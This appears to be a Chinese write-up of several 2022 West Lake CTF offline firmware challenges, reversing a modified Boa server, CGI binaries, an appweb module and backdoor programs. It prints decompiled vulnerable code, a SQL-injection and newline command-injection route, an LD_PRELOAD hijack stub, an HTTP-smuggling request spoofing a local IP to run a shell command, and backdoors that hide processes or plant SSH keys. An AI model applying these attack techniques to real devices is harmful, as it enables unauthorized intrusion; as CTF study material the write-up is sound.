2022西湖论剑线下赛部分题解
2023-7-3 14:39:3 Author: mp.weixin.qq.com(查看原文) 阅读量:3 收藏

  2022西湖论剑线下部分个人觉得有比较意思的题目复现: )

xhttp

  尝试直接访问index.html或者cgi只会收到400错误,说明发送的请求格式有问题。所以本来打算直接调试,但是由于gdb似乎对mips16到mips32切换支持的不是很好,很难调试。

$ curl -v http://192.168.1.1:8080/index.html   
*   Trying 192.168.1.1...
* TCP_NODELAY set
* Connected to 192.168.1.1 (192.168.1.1) port 8080 (#0)
> GET /index.html HTTP/1.1
> Host: 192.168.1.1:8080
> User-Agent: curl/7.58.0
> Accept: */*

< HTTP/1.1 400 Bad Request
< Date: Sat, 03 Dec 2022 09:22:41 GMT
< Server: Boa/0.94.14rc21
< Accept-Ranges: bytes
< Connection: close
< Content-Type: text/html; charset=ISO-8859-1

<HTML><HEAD><TITLE>400 Bad Request</TITLE></HEAD>
<BODY><H1>400 Bad Request</H1>
Your client has issued a malformed or illegal request.
</BODY></HTML>
* Closing connection 0

  所以比对boa源码,根据fprintf(stderr, "boa: server version %s\n", "Boa/0.94.14rc21")得知版本为0.94.14rc21;然后就是定位大概题目编译的boa程序在哪一阶段会对请求做额外处理。根据boa.conf,在tmp下有日志文件:

ErrorLog /tmp/error_log

# AccessLog: The location of the access log file. If this does not
# start with /, it is considered relative to the server root.
# Comment out or set to /dev/null (less effective) to disable.
# Useful to set to /dev/stdout for use with daemontools.
# Access logging.  
# Please NOTE: Sending the logs to a pipe ('|'), as shown below,
#  is somewhat experimental and might fail under heavy load.
# "Usual libc implementations of printf will stall the whole
#  process if the receiving end of a pipe stops reading."
#AccessLog  "|/usr/sbin/cronolog --symlink=/var/log/boa/access_log /var/log/boa/access-%Y%m%d.log"

AccessLog /tmp/access_log

  而源码中表示http头部和body处理应该分别在read_headerread_body。可以重新开启xhttpd服务并添加debug参数,这样可以在日志中查看更具体的信息。

if (retval == 1) {
            switch (current->status) {
            case READ_HEADER:
            case ONE_CR:
            case ONE_LF:
            case TWO_CR:
                retval = read_header(current);
                break;
            case BODY_READ:
                retval = read_body(current);
                break;
            case BODY_WRITE:
                retval = write_body(current);
                break;
            case WRITE:
                retval = process_get(current);
                break;
            case PIPE_READ:
                retval = read_from_pipe(current);
                break;
            case PIPE_WRITE:
                retval = write_from_pipe(current);
                break;
            case IOSHUFFLE:
            }
}

  如图在构造GET方法和POST方法后都停在了对header解析的阶段,所以很有可能题目中添加了对header某些字段的检查;通过比对应源码中read_header->process_option_line解析header中的字段并且添加到request中的键值对,而在题目中对应解析函数(sub_45F8A0)中多了一个对于AUTHORIZATION的解析:

else if ( strcmp(v11, "ACCEPT") )
{
    v10 = memcmp(v11, "AUTHORIZATION"13);
    if ( v10 )
        return add_cgi_env(a1, v11, v4, 0);
    if ( (unsigned int)strlen(v4) >= 0x101 || strncasecmp(v4, "Basic "6) || (v12 = (_BYTE *)strchr(v4, ':')) == 0 )
    {
        BadRequest(a1);
        return v10;
    }
    *v12 = 0;
    a1->mmap_entry_var = (void *)strdup(v4 + 6);
    a1->fd = strdup(v12 + 1);
}
return 1;

  这里需要AUTHORIZATION:Basic ?:?格式的字段,当然如果没有AUTHORIZATION的话也不会直接导致400问题,所以直接原因不是这里,但至少从这里可知很可能需要用户验证;a1->mmap_entry_var和a1->fd应该就是username, token(这个结构体直接导入的源码的,在源码中没有用户验证相关成员所以肯定是修改的)。process_option_line->add_cgi_env(request * req, const char *key, const char *value,int http_prefix)专门用于设置CGI环境,大致原理是为每个键值对key=value调用malloc分配空间保存,而http_prefix是否为0决定是在key前面添加HTTP_前缀。

  在解析process_option_line解析完字段后,没问题,就是访问文件或者cgi的阶段可能有限制;这在源码中read_header->process_header_end实现:

/* terminate string that begins at req->header_line */

if (req->logline) {
    if (process_option_line(req) == 0) {
        /* errors already logged */
        return 0;
    }
else {
    if (process_logline(req) == 0)
        /* errors already logged */
        return 0;
    if (req->http_version == HTTP09)
        return process_header_end(req);
}

/*
 * Name: process_header_end
 *
 * Description: takes a request and performs some final checking before
 * init_cgi or init_get
 * Returns 0 for error or NPH, or 1 for success
 */

int process_header_end(request * req)

  源码中process_header_end会在调用init_cgi和init_get之前对uri进行解码、检查host等。而在xhttp中对应位置(sub_45F6B0),出现了对username和token的校验:

v10 = a1->mmap_entry_var;
if ( !v10 )
    goto LABEL_9;
if ( !a1->fd )
    goto LABEL_9;
memset(v17, 0sizeof(v17));
if ( sub_45F684((int)v17, (int)v10) )
    goto LABEL_9;
v4 = strcmp(v17, a1->fd);
if ( v4 )
{
    v4 = 0;
    BadRequest403((int)a1);
    return v4;
}

LABEL_9:
    BadRequest(a1);
    return 0;

//sub_45F684->sub_45F4F4
int __fastcall sub_45F4F4(int a1, int a2)
{
  const char *v3; // $v0
  int v4; // $s1
  int v6; // $s1
  _DWORD *v8; // [sp+2Ch] [-41Ch] BYREF
  const char *v9; // [sp+30h] [-418h] BYREF
  char v10[1024]; // [sp+34h] [-414h] BYREF

  v8 = 0;
  v9 = 0;
  if ( sub_45A9BC((int)"/tmp/user.db", (int *)&v8) )
  {
    v3 = sub_41FED4((int)v8);
    fprintf(stderr"Cannot open database: %s\n", v3);
  }
  else
  {
    strcpy(v10, "SELECT * FROM User where Name='");
    strcat(v10, a2);
    strcat(v10, "';");
    v4 = sub_44895C(v8, v10, (int (__fastcall *)(intintint *, _DWORD *))sub_45EE64, a1, &v9);
    if ( !v4 )
    {
      sub_433CB8((int)v8);
      return v4;
    }
    v6 = stderr;
    fputs("Failed to select data\n"stderr);
    fprintf(v6, "SQL error: %s\n", v9);
    sub_407498((int)v9);
  }
  v4 = 1;
  sub_433CB8((int)v8);
  return v4;
}

  那么显然使用数据库存储用户信息,在这里会校验AUTHORIZATION中的用户信息,没有通过才直接导致的400/403问题。user.db文件:

sqlite> .table
User
sqlite> .schema
CREATE TABLE User(Id INT, Name TEXT, Password TEXT, Role TEXT);
sqlite> SELECT * FROM User;
1|guest|guest|2
2|admin|DmdcS14R|0

之后的cgi问题其实都不算难。

xhttp调试

  根据启动脚本来看,/usr/bin/www/index.html是可以访问的:

#!/bin/sh /etc/rc.common

START=99

start() {
    rm -rf /tmp/user.db
    echo 'hello' > /usr/bin/www/index.html
    /usr/bin/xhttpd &
}

  但是实际上却有问题,同理www下的cgi也一样不能直接访问。那么应该是websever做了一些处理,因此尝试调试对比Boa源码:fprintf(stderr, "boa: server version %s\n", "Boa/0.94.14rc21")。但是gdb 远程调试过程中本机gdb-mutiarch无法正常运行,比如查看汇编出错,无法下断点,运行后无法断下:

  但是在调试器cgi程序时却能正常运行,估计是程序版本太高的原因,如上图函数开头并不是直接开栈而是save这个指令,应该和设置canary有关。而cgi子程序中没有出现这样的函数开头。因此暂时只能直接IDA静态比对。后来发现其编译选项是mips32r2和mips16:其中mips32r2表示mips架构某个指令集(ISA)而mips16表示使用拓展16位压缩指令集,这个模式下cpu可以执行同一文件中的32位/16位指令(MIPS Application Specific Extensions (ASE) - Imagination)(MIPS也有"thumb模式"我是万万没想到的,太菜了)

  由于xhttp编译的时候启用了-mips16,可以在gdb中设置architecture mips:16获得正常的汇编输出,而他的依赖库libgcc_s.so.1,libc.so都没有开启也就是正常的mips32 ISA,所以在调试时如果遇到入库和出库情况gdb就会搞不清楚而出错

编译高版本gdb/gdbserver

  尝试高版本gdb+gdbserver解决调试问题,从GNU下载的gdb源码包括gdbserver,在编译时需要注意configure配置:

  • • host:The system that is going to run the software once it is built. Once the software has been built, it will execute on this particular system.

    • • 即编译完成的二进制文件要放在什么架构的host上 跑

  • • build:The system where the build process is being executed. For most uses this would be the same as the host system, but in case of cross-compilation the two obviously differ.

    • • 二进制文件在什么架构上编译的,一般和host一样

  • • target:The system against which the software being built will run on. This only exists, or rather has a meaning, when the software being built may interact specifically with a system that differs from the one it's being executed on (our host). This is the case for compilers, debuggers, profilers and analyzers and other tools in general.

    • • 这个仅当二进制运行时需要和某个特定架构交互,而这个特定架构与该host架构不同时才有效。如gdbserver不需要指定target,而gdb要remote到某个异架构端时就需要指定target了。

  在本地编译时gdb总是遇到GMP is missing or unusable错误,以各种方式安装libgmp都无法解决(见gdbserver-all-in-one 手册 | SkYe231 Blog (mrskye.cn))。用以下命令编译gdbserver:

mkdir build && cd build
../configure --host=mipsel-linux-gnu
make -j8 all-gdbserver CFLAGS='-mips32r2 -O2 -static' CXXFLAGS='-mips32r2 -O2 -static'
mips-linux-gnu-strip ./gdbserver

  编译出来的gdbserver成功运行在设备上,但是问题一样存在(悲)。那么如果没有调试环境怎么确定Boa源码做了哪些修改呢,可以尝试符号恢复(试了效果不好)。

get.cgi

  通过boa源码可知子进程调用使用了pipe管道和父进程交互:

漏洞位于main->sub_408020->sub_408064->sub_408098:

int sub_408098()
{
  int v1; // [sp+18h] [+18h]
  char v2[128]; // [sp+1Ch] [+1Ch] BYREF
  char v3[40]; // [sp+9Ch] [+9Ch] BYREF
  char v4[1028]; // [sp+C4h] [+C4h] BYREF

  strcpy(v2, "/usr/bin/upload/");
  sub_4044D4((int)"name", v3, 30);
  strcat(v2, v3);
  v1 = fopen(v2, "rb");
  if ( !v1 )
    return fwrite("<p>File not found</p>\n"122, FileFD);
  memset(v4, 01024);
  fread(v4, 10241, v1);
  fclose(v1);
  fprintf(FileFD, v4);
  return system("rm -rf /usr/bin/upload/*");
}

int __fastcall sub_4044D4(int a1, _BYTE *buf, int a3)
{
  char **kv_name; // [sp+18h] [+18h]

  kv_name = (char **)sub_4070C0(a1);
  if ( kv_name )
    return sub_404898(kv_name, buf, a3, 0);
  *buf = 0;
  return 4;
}

  通过调试可知sub_4044D4是将调用get.cgi的name参数值赋值到v3中,而在sub_4044D4->sub_404898做了真正的赋值操作但是没有对目录穿越做限制(../),只是对\n \r处理了一下,这里使用漏洞穿越即可cat flag:

diag.cgi

  在直接分析这个cgi之前,xhttpd中对其调用有校验操作,还需要用户对应的Role值为0也就是需要admin的权限。虽然admin的Token是随机的,但是在数据库函数中所使用的SQL语句是直接拼接的所以存在注入:

  回到cgi中,实现了一个ping和curl的测试功能,通过参数type选定具体功能,param参数选定ping或者curl的参数。sub_408258和sub_408304都存在很简单的命令拼接导致命令注入,sub_4080B8函数会对param进行过虑,但是没有过虑\n。因此利用diag.cgi需要SQL注入+\n绕过即可。不过需要注意的是需要用urlencode 发送特殊字符,然后由header(POST)字段中的application/x-www-form-urlencoded表明需要解码。

int sub_4083B0()
{
  char v1[28]; // [sp+18h] [+18h] BYREF
  char v2[68]; // [sp+34h] [+34h] BYREF

  sub_403D98((int)"type", v1, 20);
  sub_403D98((int)"param", v2, 64);
  if ( sub_4080B8(v2) )
    return fwrite("<p>wrong parameter</p>\n"123, dword_419154);
  if ( !strncmp(v1, "ping"4) )
  {
    sub_408258(v2);
  }
  else if ( !strncmp(v1, "curl"4) )
  {
    sub_408304(v2);
  }
  return fwrite("done\n"15, dword_419154);
}

int __fastcall sub_4080B8(int a1)
{
  int i; // [sp+18h] [+18h]
  int v3; // [sp+1Ch] [+1Ch]

  v3 = strlen(a1);
  for ( i = 0; i < v3; ++i )
  {
    if ( *(_BYTE *)(a1 + i) == '`'
      || *(_BYTE *)(a1 + i) == '|'
      || *(_BYTE *)(a1 + i) == '$'
      || *(_BYTE *)(a1 + i) == '&'
      || *(_BYTE *)(a1 + i) == '('
      || *(_BYTE *)(a1 + i) == ')'
      || *(_BYTE *)(a1 + i) == '{'
      || *(_BYTE *)(a1 + i) == '}'
      || *(_BYTE *)(a1 + i) == ';' )
    {
      return 1;
    }
  }
  return 0;
}

upload.cgi

  在upload.cgi中存在目录穿越,限制了参数长度不超过25但是足够覆盖某些文件,比如shadow:

int sub_4080B8()
{
  int v1; // [sp+18h] [+18h]
  _DWORD *v2; // [sp+1Ch] [+1Ch] BYREF
  char fileName[2048]; // [sp+20h] [+20h] BYREF
  char v4[1024]; // [sp+820h] [+820h] BYREF
  int v5; // [sp+C20h] [+C20h] BYREF
  char v6[132]; // [sp+C24h] [+C24h] BYREF

  if ( sub_403E1C((int)"file", fileName, 1024) )
    return puts("<p>No file was uploaded.<p>");
  if ( (unsigned int)strlen(fileName) >= 25 )
    return puts("<p>Wrong parameter</p>");
  if ( sub_404248((int)"file", &v2) )
    return fwrite("Could not open the file.<p>\n"128, dword_419154);
  strcpy(v6, "/usr/bin/upload/");
  strcat(v6, fileName);
  v1 = fopen(v6, &dword_40888C);
  while ( !sub_4043C8(v2, (int)v4, 1024, &v5) )
    fwrite(v4, v5, 1, v1);
  fclose(v1);
  return sub_404480(v2);
}

  所以一种比较直接的利用就是覆盖shadow,登录主机。在官方WP中利用任意文件上传和xhttpd设置cgi环境变量时没有加前缀,可实现依赖库劫持。前文提到的add_cgi_env(request * req, const char *key, const char *value,int http_prefix)函数用于设置cgi程序的环境变量,最后一个参数需要设置为1才会在key前面添加HTTP_。而在xhttp解析头部字段时(对应源码process_option_line,xhttp中sub_45F8A0)没有设置环境变量前缀,这就可以传入LD_PRELOAD:path/to/so指定依赖库(学到了~),再配合upload实现劫持:

//hook.c
#include <stdlib.h>

char *getenv(const char *name){
    system("cat /dev/ttyUSB0");
    return NULL;
}
//mipsel-linux-gnu-gcc-5 -mips32r2 -Wall -fPIC -shared -o hook.os hook.c

调试子进程

  对于fork+execve子程序调用的情况调试方法有:

  • • patch子程序

  • • shell脚本监视子程序启动

patch法

  在patch过程有个坑是:对于diag.cgi是个mips架构由于流水线效应,分支指令后面一般跟着一条有效指令或者nop。而IDA在把原来不是分支指令patch为分支指令后会强制在后面填充一个nop,如下图所示:

  然后在保存这个patched文件时IDA报错如下:

  暂时没有看到有解决方法,因此使用ghidra来patch(参考【技术分享】IoT固件分析入门 - 网安 (wangan.com)):

需要从github上下载一个脚本来保存:SavePatch.py

jailbreak

  jailbreak对应的启动文件为/etc/rc.d/S97jailbreak,程序本体为appweb会监听本地7777端口。而该本地端口的访问由nginx监听转发外部端口59659完成,只有以ejs或者php结尾的URI的请求才行。

#!/bin/sh /etc/rc.common

START=97

USE_PROCD=1
PROG=/usr/bin/appweb

start_service() {
    procd_open_instance
    procd_set_param command "$PROG" "127.0.0.1:7777"
    procd_set_param respawn 3600 2 10000
    procd_close_instance
}

reload_service() {
    procd_send_signal appweb
}

server { 

#see uci show 'nginx._redirect2ssl'

listen 59659;

listen [::]:59659;

location ~* \.(ejs|php)$ {

    proxy_redirect off;

    proxy_set_header X-Real-IP $remote_addr;

    proxy_set_header X-Real-PORT $remote_port;

    proxy_set_header Host $host;

    proxy_set_header Proxy "";

    proxy_pass   http://127.0.0.1:7777;

    }

}

  appweb是这道题的关键程序,所以先得了解他的架构。

appweb

  appweb是一个专用于嵌入式环境的开源webserver。其特点为使用类似apache的配置文件,Pipeline流水线处理请求,动态模块加载。整个框架为:每个请求通过Pipeline流水线完成。在此基础上URI匹配,身份验证等通过读取配置文件查看需求。最后以在Pipeline上加载模块的方式进行数据处理。如下图:

配置文件

  文件系统中并没有appweb.conf文件,在其启动脚本中也没有指定。所以这里简单看看官方的一个例子即可:

Home "."
ErrorLog error.log
ServerName http://localhost:7777
Documents "/var/web"
Listen 7777
LoadModule espHandler mod_esp
AddHandler espHandler esp

  必须要用Home指定全局路径,还需要注意的就是LoadModuleAddHandler,首先从mod_esp(路径,一般是个so库)中加载espHandler模块然后指定对后缀为esp的使用。

Pipeline

  pipeline可以看做一个双向管道,两端是client和handler中间可以防止多个模块(filter, connector)。其中包含了许多机制如队列,数据包,缓冲和事件调度。其中数据包只会在模块中直接传递而不会进行复制操作,这可以提升一定的效率。

  上图中的小方块被视为stage(s),包括:Handlers,Filters,Network Connectors(这些都是模块)。handlers一般通过appweb配置文件动态加载,其用于动态生成响应数据(CGI方式依赖额外程序来生成)。filters在数据出入或传出handlers时操作数据(一般用于压缩或者加密数据),比如appweb项目自身用filter模块实现 分块传输编码(Transfer Chunk Encoding)。Connectors是pipelin的最后一环,用于将数据包传给client。appweb提供两个分别是通用的net connector 和专门传静态文件的send connector

Handlers

  为了解决一个服务器完成难以完成各种要求的问题,appweb使用动态加载handler的方式来对其功能进行"分块",来尽量满足定制化需求(有点像积木的意思)。可以通过动态库的形式动态加载或者从源码将模块静态编译进去。在conf文件中可以定义,对于不同的URI等配置不同的handler来实现动态加载模块进行处理。handlers可以存在多个,比如源码中若不指定conf文件config.c:

大致对应如下配置文件:

LoadModule authFilter mod_auth
AddHandler authFilter
LoadModule cgiHandler mod_cgi
AddHandler cgiHandler .cgi .cgi-nph .bat .cmd .pl .py
LoadModule ejsHandler mod_ejs
AddHandler ejsHandler .ejs
LoadModule phpHandler mod_php
AddHandler phpHandler .php
LoadModule fileHandler mod_file
AddHandler fileHandler

源码简析(V3.3.2)

  每个appweb例程所提供的服务(包括virtual host)都由struct MaHttp维护,结构如下:

typedef struct MaHttp {
    MprHashTable    *stages;                /**< Hash table of stages */
    struct MaServer *defaultServer;         /**< Default web server object */
    MprList         *servers;               /**< List of web servers objects */
    MaLimits        limits;                 /**< Security and resource limits */

    /*
     *  Some standard pipeline stages
     */

    struct MaStage  *netConnector;          /**< Network connector */
    struct MaStage  *sendConnector;         /**< Send file connector */
    struct MaStage  *authFilter;            /**< Authorization filter (digest and basic) */
    struct MaStage  *rangeFilter;           /**< Ranged requests filter */
    struct MaStage  *cgiHandler;            /**< CGI handler */
    struct MaStage  *chunkFilter;           /**< Chunked transfer encoding filter */
    struct MaStage  *dirHandler;            /**< Directory listing handler */
    struct MaStage  *egiHandler;            /**< Embedded Gateway Interface (EGI) handler */
    struct MaStage  *ejsHandler;            /**< Ejscript Web Framework handler */
    struct MaStage  *fileHandler;           /**< Static file handler */
    struct MaStage  *passHandler;           /**< Pass through handler */
    struct MaStage  *phpHandler;            /**< PHP handler */
    {...}
}

  appweb提供的stages如上,在对该项目进行二次开发的时候可以直接编写模块(库),包括filter、handler、connector。然后在conf文件中加载模块并设置filter、handler、connector等如:

SetConnector netConnector

<if AUTH_MODULE>
    LoadModule authFilter mod_auth
    #
    #   The auth filter must be first in the pipeline before all handlers and
    #   after the connector definition. Only needed on the output pipeline.
    #
    AddOutputFilter authFilter
</if>

#
#   Add other filters. Order matters. Chunking must be last.
#
<if RANGE_MODULE>
    LoadModule rangeFilter mod_range
    AddOutputFilter rangeFilter
</if>
<if CHUNK_MODULE>
    LoadModule chunkFilter mod_chunk
    AddFilter chunkFilter
</if>

#
#   Include all other modules before the file module which is the catch-all.
#
Include conf/modules/*

#
#   The file handler supports requests for static files. Put this last after
#   all other modules and it becomes the catch-all due to the empty quotes.
#
<if FILE_MODULE>
    # PutMethod on
    LoadModule fileHandler mod_file
    AddHandler fileHandler .html .gif .jpeg .png .pdf ""
</if>

  其中LoadModule对应源码中MprModule *maLoadModule(MaHttp *http, cchar *name, cchar *libname)函数,libname就是模块的路径,name是模块名称(不是库文件名)。函数中调用mprLoadModule打开动态库并且执行初始化函数,初始化函数名称其格式为manameInit

if ((handle = dlopen(path, RTLD_LAZY | RTLD_GLOBAL)) == 0) {
            mprError(ctx, "Can't load module %s\nReason: \"%s\"",  path, dlerror());
        } else if (initFunction) {
            if ((fn = (MprModuleEntry) dlsym(handle, initFunction)) != 0) {
                if ((mp = (fn)(ctx, path)) == 0) {
                    mprError(ctx, "Initialization for module %s failed", module);
                    dlclose(handle);
                } else {
                    mp->handle = handle;
                }
            } else {
                mprError(ctx, "Can't load module %s\nReason: can't find function \"%s\"",  path, initFunction);
                dlclose(handle);
            }
        }

  在初始化函数中,开发者就可以根据传入的MaHttp实例设置stages。stage的结构体为struct MaStage里面包含了很多回调函数如:parse、modify、outgoingData等。三要素filter、handler、connector之间的主要区别就在于stage实例的回调函数以调用时机。例如需要一个用户身份验证功能,就可以实现一个filter模块,因为身份验证一般在请求处理(handler进行)之前:

/*
 *  Loadable module initialization
 */

MprModule *maAuthFilterInit(MaHttp *http, cchar *path)
{
    MprModule   *module;
    MaStage     *filter;

    module = mprCreateModule(http, "authFilter", BLD_VERSION, NULLNULLNULL);
    if (module == 0) {
        return 0;
    }
    filter = maCreateFilter(http, "authFilter", MA_STAGE_ALL);
    if (filter == 0) {
        mprFree(module);
        return 0;
    }
    http->authFilter = filter;
    filter->match = matchAuth; 
    filter->parse = parseAuth; 
    return module;
}

  前面mprCreateModule,maCreateFilter分别是注册模块和在pipeline上注册filter stage。重点在于parseAuth和matchAuth,parseAuth用于解析conf配置文件比如验证算法、授权用户;matchAuth根据解析情况结合请求进行校验。

  还有实现handler和connect也是类似的。maCreateFilter、maCreateHandler、maCreateConnector之间不同的是对stage->flags标志的设置。


  对appweb有个初步认识后,对这个题目就容易理解一些了。从配置文件可知appweb只用来处理对ejs/php文件的访问,其中ejs是嵌入式js,是一套简单的语言模板用于动态生成页面。题目中并没有appweb的配置文件,所以写在了maConfigureServer函数中:

  但其实只有mod_ejs.so存在,所以就得从他的初始化函数入手。比对源码中的ejs实现可以识别一些函数,改动不是很大,最后定位在matchEjs函数中存在命令注入。

int __fastcall matchEjs(_DWORD *a1, int a2, _BYTE *a3){
      IS_AUTHORIZE = req_is_auth((int)a1);
  if ( !strcmp(*(_DWORD *)(v11 + 72), "/index.ejs") )
  {
    if ( IS_AUTHORIZE )
    {
      v13 = mprLookupHash(*(_DWORD *)(v11 + 180), "HTTP_EJS");
      system(v13);
      maFormatBody(a1, "Hello Admin!""Login successs!");
      maFailRequest(a1, 200"Login successs!");
    }
    else
    {
      v4 = strlen(*(_DWORD *)(v11 + 112));
      v9 = malloc(v4 + 128);
      sprintf(v9, "http://%s:%d/login.html", *(const char **)(v11 + 112), 59659);
      maFormatBody(a1, "Forbidden""Not Authorize! Please Login!");
      maSetHeader(a1, 0"Location", v9);
      maFailRequest(a1, 302"Not Authorize! Please Login!");
      free(v9);
    }
  }
  if ( !strcmp(*(_DWORD *)(v11 + 72), "/login_verify.ejs") )
  {
    v14 = maGetQueryString(a1);
    if ( v14 )
    {
      v5 = strlen(v14);
      v15 = malloc(v5 + 1);
      strcpy(v15, v14);
      for ( i = mprStrTok(v15, "&", v19); i; i = mprStrTok(0"&", v19) )
      {
        v16 = strchr(i, '=');
        if ( v16 )
        {
          v6 = (_BYTE *)v16;
          v17 = v16 + 1;
          *v6 = 0;
          if ( !strcmp(i, "username") && !strcmp(v17, "admin") )
          {
            if ( !strcmp(i, "password") && !strcmp(v17, "test123") )
            {
              IS_AUTHORIZE = 1;
            }
            else
            {
              maFormatBody(a1, "Auth error""Password error!");
              maFailRequest(a1, 403, (const char *)&dword_61D8);
            }
          }
          else
          {
            maFormatBody(a1, "Auth error""Username error!");
            maFailRequest(a1, 403, (const char *)&dword_61D8);
          }
        }
      }
      free(v15);
    }
    else
    {
      v7 = strlen(*(_DWORD *)(v11 + 112));
      v10 = malloc(v7 + 128);
      sprintf(v10, "http://%s:%d/login.ejs", *(const char **)(v11 + 112), 59659);
      maFormatBody(a1, "Forbidden""Not username and password input!");
      maSetHeader(a1, 0"Location", v10);
      maFailRequest(a1, 302"Not username and password input!");
      free(v10);
    }
  }
}

  整体逻辑为:在访问/index.ejs将会跳转到登录页面,上传参数后进入函数下面的判断逻辑如果验证通过则IS_AUTHORIZE=1,那么然后访问/index.ejs就能通过设置头部成员HTTP_EJS完成命令注入。但是验证逻辑是无法绕过的(逻辑问题)。根据官方WP,在req_is_auth函数中验证了ip是否为本地ip,而在nginx转发时设置了proxy_set_header X-Real-IP $remote_addr所以直接访问也绕不过去:

BOOL __fastcall req_is_auth(int a1)
{
  BOOL result; // $v0
  int v2; // [sp+18h] [+18h]

  v2 = mprLookupHash(*(_DWORD *)(*(_DWORD *)(a1 + 32) + 180), "HTTP_X_REAL_IP");
  if ( v2 )
    result = strcmp(v2, "127.0.0.1") == 0;
  else
    result = 0;
  return result;
}

需要使用http走私,在源码中parseRequest->parseFirstLine完成对头部第一行的解析,但是题目中修改了对OPTIONS请求的处理:

if ( !strcmp(key, "CONTENT_LENGTH") )

{

    if ( !strcmp(req->methodName, "OPTIONS") )

    {

        LODWORD(req->length) = 0;

        HIDWORD(req->length) = 0;

    }

这样可以构造OPTIONS请求如下:

OPTIONS /index.ejs HTTP/1.1
Host: 192.168.1.100
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36
Cache-Control: max-age=0
Content-Length: 245

GET /index.ejs HTTP/1.1
Host192.168.1.100
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36
X-Real-IP: 127.0.0.1
EJS: ls >/tmp/zzz
Cache-Control: max-age=0

这样一个数据包就会被服务器识别为两个实现绕过。

pidr

  该程序接受ICMP报文并检测数据段中经运算后是否等于本地时间(Mon,day,hour,min),然后开启一个反向shell,端口由ICMP数据中指定。用C实现ICMP的时候注意报文的checksum字段的计算。

raw socket

  一般使用的SOCK_STREAM、SOCK_DGRAM能够完成核心数据发送与接收,而网络模型协议栈的中间层透明化头部信息全部被剥离recv或者send只有数据对象,即不操控链路层或者网络层数据。SOCK_RAW就是用来操作这两层数据的来实现一些其他的功能(ping, sniffer, routetacer):

  • • 使用raw socket 可以读写ICMP、IGMP等分组。

  • • 大多数内核只处理IPv4数据报中一个名为协议的8位字段的值为1(ICMP)、2(IGMP)、6(TCP)、17(UDP)四种情况。然而该字段的值还有许多其他值。进程使用raw socket 就可以读写那些内核不处理的IPv4数据报了。因此,可以使用原始套接字定义用户自己的协议格式。

  • • 通过使用raw socket ,进程可以使用IP_HDRINCL套接口选项自行构造IP头部。这个能力可用于构造特定类型的TCP或UDP分组等。

  SOCK_RAW具体实现上可以分为链路层原始套接字网络层原始套接字两大类。创建链路层原始套接字使用socket(PF_PACKET, type, htons(protocol))。第三个参数是协议类型其只对报文接收有意义,见下图:

  当type为SOCK_RAW时数据接收或者发送都从MAC帧开始(链路层),当type为SOCK_DGRAM时链路层由内核接管处理,用户只需接收或构造网络层数据。创建网络层原始套接字使用socket(PF_INET/AF_INET, SOCK_RAW, protocol)来操作网络层即以上的数据。接受报文时从网络层(IP)首部开始,以及建立在IP协议之上的TCP/ICMP等首部。发送报文时默认情况IP首部由内核接管,用户构造TCP/UDP/ICMP等协议数据。但是通过setsockopt()给套接字设置上IP_HDRINCL选项,就需要在发送时自行构造IP首部。见下图:

  这个固件无法直接使用串口或者ssh直连,这是因为在二号固件中设置了root的登录密码:

可以修改二号固件的shadow文件然后重打包再刷入。

frostheart

  对应程序为/usr/bin/main。程序通过mount指令将一个空文件挂载到/proc/pid下面实现进程隐藏(ps看不见):

int hidePid()
{
  int result; // $v0
  int v1; // [sp+20h] [+20h]
  int v2; // [sp+24h] [+24h]
  char v3[256]; // [sp+28h] [+28h] BYREF

  v1 = getpid();
  memset(v3, 0sizeof(v3));
  if ( v1 >= 0 )
  {
    if ( access("/tmp/pid"0) )
    {
      v2 = strdup("mkdir -p /tmp/pid");
      system(v2);
    }
    sprintf(v3, "mount --bind %s /%s/%d""/tmp/pid""proc", v1);
    system(v3);
    result = 1;
  }
  else
  {
    perror("pid error!");
    result = -1;
  }
  return result;

  核心函数是sub_401764,大概逻辑是:接受ICMP ECHO request包,然后判断icmp_id是否为固定值0xDEAD。通过检测后对数据部分进行base64解码(Table异化),然后解码的数据进行校验若通过则从数据找到@本机Mac地址和@key可以将ssh的公钥写入/etc/dropbear/authorized_keys实现ssh无秘钥登录。

while ( !recv(v2, icmp, 10240) );
checksum = icmp[11];
}
while ( LOBYTE(icmp[10]) != 8 );          // Type == 8
if ( icmp[12] == 0xDEAD )                 // ICMP id
{
    base64_decode((int)&icmp[12], (int)v9);
    if ( getXor((int)&v9[3]) == checksum )
    {
        eth5Mac = sub_40168C();
        if ( eth5Mac )
        {
            v5 = strtok(&v9[3], "@");
            if ( v5 )
            {
                v6 = strtok(0"@");
                if ( !strcmp(eth5Mac, v5) )
                {
                    v7 = fopen("/etc/dropbear/authorized_keys""a+");
                    v1 = strlen(v6);
                    fwrite(v6, v1, 1, v7);
                    fclose(v7);
                }
            }

  同时在nf_flow_in.ko内核模块也需要分析。linux内核模块一般放在/lib/modules/$(uname -r)/目录下,在/etc/modules-load.d/中来配置系统启动时加载哪些模块,但是openwrt是modules-boot.d。/etc/modprobe.d/下配置模块加载时的一些参数,openwrt上对应/etc/modules.d/。

Netfilter 框架

  Netfilter 是 Linux 内核中的一个框架。linux实现数据过滤,连接跟踪(Connect Track),网络地址转换(NAT)等功能主要基于此框架。核心是该框架在网络协议栈中定义了一些列hook点,可以在这些点中注册函数对协议栈中各层次的数据包进行处理。

  从上图可知挂载点主要有5个:

  • • PRE_ROUTING:路由前。数据包进入IP层后,但还没有对数据包进行路由判定前。

  • • LOCAL_IN:进入本地。对数据包进行路由判定后,如果数据包是发送给本地的,在上送数据包给上层协议前。

  • • FORWARD:转发。对数据包进行路由判定后,如果数据包不是发送给本地的,在转发数据包出去前。

  • • LOCAL_OUT:本地输出。对于输出的数据包,在没有对数据包进行路由判定前。

  • • POST_ROUTING:路由后。对于输出的数据包,在对数据包进行路由判定后。

相关的函数与数据结构有:nf_register_net_hook完成钩子函数注册,struct nf_hook_ops结构体定义如下(最好看对应版本的源码,/lib/modules/5.4.215/可知源码版本):

struct nf_hook_ops {
    /* User fills in from here down. */
    nf_hookfn  *hook;
    struct net_device *dev;
    void   *priv;
    u_int8_t  pf;
    unsigned int  hooknum;
    /* Hooks are ordered in ascending priority. */
    int   priority;
};

/* Function to register/unregister hook points. */
int nf_register_net_hook(struct net *net, const struct nf_hook_ops *ops);
void nf_unregister_net_hook(struct net *net, const struct nf_hook_ops *ops);
int nf_register_net_hooks(struct net *net, const struct nf_hook_ops *reg,
              unsigned int n);
